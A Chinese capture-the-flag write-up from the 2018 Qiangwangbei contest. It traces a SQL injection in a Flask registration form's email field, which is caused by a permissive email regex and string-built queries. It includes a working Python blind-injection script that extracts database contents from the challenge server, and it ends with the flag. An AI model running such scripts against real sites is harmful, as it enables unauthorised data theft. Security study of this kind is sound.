python is the best language
http://39.107.32.29:20000
http://117.50.16.51:20000
下載地址
備用下載地址(密碼:rtou)
I'm learning the flask recently,and I think python is the best language in the world!don't you think so?
源碼下載下來后,由于是基于flask框架,因此先看了看路由文件routes.py,大概如下:
@app.before_request
def before_request():
@app.teardown_request
def shutdown_session(exception=None):
@app.route('/', methods=\['GET', 'POST'\])
@app.route('/index', methods=\['GET', 'POST'\])
@login_required
def index():
@app.route('/explore')
@login_required
def explore():
@app.route('/logout')
def logout():
@app.route('/register', methods=\['GET', 'POST'\])
def register():
@app.route('/user/<username>')
@login_required
def user(username):
@app.route('/edit_profile', methods=\['GET', 'POST'\])
@login_required
def edit_profile():
@app.route('/follow/<username>')
@login_required
def follow(username):
@app.route('/unfollow/<username>')
@login_required
def unfollow(username):
這些功能大部分是基于登陸的,因此從注冊和登陸相關的代碼入手。
@app.route('/register', methods=\['GET', 'POST'\])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegistrationForm()
if form.validate\_on\_submit():
res = mysql.Add("user", \["NULL", "'%s'" % form.username.data, "'%s'" % form.email.data,
"'%s'" % generate\_password\_hash(form.password.data), "''", "'%s'" % now()\])
if res == 1:
flash('Congratulations, you are now a registered user!')
return redirect(url_for('login'))
return render_template('register.html', title='Register', form=form)
跟進RegistrationForm,定義在 forms.py的第20行:
class RegistrationForm(FlaskForm):
username = StringField('Username', validators=\[DataRequired()\])
email = StringField('Email', validators=\[DataRequired(), Email()\])
password = PasswordField('Password', validators=\[DataRequired()\])
password2 = PasswordField(
'Repeat Password', validators=\[DataRequired(), EqualTo('password')\])
submit = SubmitField('Register')
def validate_username(self, username):
if re.match("^\[a-zA-Z0-9_\]+$", username.data) == None:
raise ValidationError('username has invalid charactor!')
user = mysql.One("user", {"username": "'%s'" % username.data}, \["id"\])
if user != 0:
raise ValidationError('Please use a different username.')
def validate_email(self, email):
user = mysql.One("user", {"email": "'%s'" % email.data}, \["id"\])
if user != 0:
raise ValidationError('Please use a different email address.')
在這里可以很明顯的看到兩個驗證函數有差別,validate_username在進行mysql.One前進行了正則匹配的過濾和審核,而validate_email僅僅通過validators=[DataRequired(), Email()]來匹配。
Email定義在wtforms.validators中,相關源碼如下:
class Email(Regexp):
"""
Validates an email address. Note that this uses a very primitive regular
expression and should only be used in instances where you later verify by
other means, such as email activation or lookups.
:param message:
Error message to raise in case of a validation error.
"""
def \_\_init\_\_(self, message=None):
self.validate_hostname = HostnameValidation(
require_tld=True,
)
super(Email, self).\_\_init\_\_(r'^.+@(\[^.@\]\[^@\]+)$', re.IGNORECASE, message)
def \_\_call\_\_(self, form, field):
message = self.message
if message is None:
message = field.gettext('Invalid email address.')
match = super(Email, self).\_\_call\_\_(form, field, message)
if not self.validate_hostname(match.group(1)):
raise ValidationError(message)
其正則規則為^.+@([^.@][^@]+)$,也就是說對email而言,即使提交如'"#a@q.com包含單引號,雙引號,注釋符等敏感字符的形式也是能通過的。
回到validate_email驗證函數中:
def validate_email(self, email):
user = mysql.One("user", {"email": "'%s'" % email.data}, \["id"\])
if user != 0:
raise ValidationError('Please use a different email address.')
跟入mysql.One,定義在others.py:
\# mysql.One("user", {"email": "'%s'" % email.data}, \["id"\])
def One(self, tablename, where={}, feildname=\["*"\], order="", where_symbols="=", l="and"):
\# self.Sel("user", {"email": "'%s'" % email.data}, \["id"\], "", "=", l)
sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
try:
res = self.db_session.execute(sql).fetchone()
if res == None:
return 0
return res
except:
return -1
跟入self.Sel:
\# self.Sel("user", {"email": "'%s'" % email.data}, \["id"\], "", "=", l)
def Sel(self, tablename, where={}, feildname=\["*"\], order="", where_symbols="=", l="and"):
sql = "select "
sql += "".join(i + "," for i in feildname)\[:-1\] + " "
sql += "from " + tablename + " "
if where != {}:
sql += "where " + "".join(i + " " + where_symbols + " " +
str(where\[i\]) + " " + l + " " for i in where)\[:-4\]
if order != "":
sql += "order by " + "".join(i + "," for i in order)\[:-1\]
return sql
最后拼接出來的sql語句如下:
select id from user where email = 'your input email'
結合前面所說的對輸入郵箱email形式的驗證,這里存在sql注入漏洞。我們設置郵箱為test'/**/or/**/1=1#@test.com,則拼接后的sql語句為:
select id from user where email = 'test'/**/or/**/1=1#@test.com'
可以看到成功注入。由于此處不能回顯數據,因此采用盲注。回到validate_username
def validate_username(self, username):
if re.match("^\[a-zA-Z0-9_\]+$", username.data) == None:
raise ValidationError('username has invalid charactor!')
user = mysql.One("user", {"username": "'%s'" % username.data}, \["id"\])
if user != 0:
raise ValidationError('Please use a different username.')
當查詢為真時也即user != 0會出現信息Please use a different username.,結合這點構造出最后的exp.py:
import requests
from bs4 import BeautifulSoup
url = "http://39.107.32.29:20000/register"
r = requests.get(url)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')\[0\].get("value")
notice = "Please use a different email address."
result = ""
database = "(SELECT/**/GROUP\_CONCAT(schema\_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
tables = "(SELECT/**/GROUP\_CONCAT(table\_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION\_SCHEMA.TABLES/**/WHERE/**/TABLE\_SCHEMA=DATABASE())"
columns = "(SELECT/**/GROUP\_CONCAT(column\_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION\_SCHEMA.COLUMNS/**/WHERE/**/TABLE\_NAME=0x666c616161616167)"
data = "(SELECT/**/GROUP_CONCAT(flllllag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flaaaaag)"
for i in range(1,100):
for j in range(32,127):
payload = "test'/**/or/**/ascii(substr("+ data +",%d,1))=%d#/**/@chybeta.com" % (i,j)
print payload
post_data = {
'csrf_token': token,
'username': 'a',
'email':payload,
'password':'a',
'password2':'a',
'submit':'Register'
}
r = requests.post(url,data=post_data)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')\[0\].get("value")
if notice in r.text:
result += chr(j)
print result
break
由于在注冊部分有csrf_token,因此在每次submit時要記得帶上,同時在每次返回的頁面中取得下一次的csrf_token。
最后的flag:QWB{us1ng_val1dator_caut1ous}
2018強網杯-Writeup
推薦文章: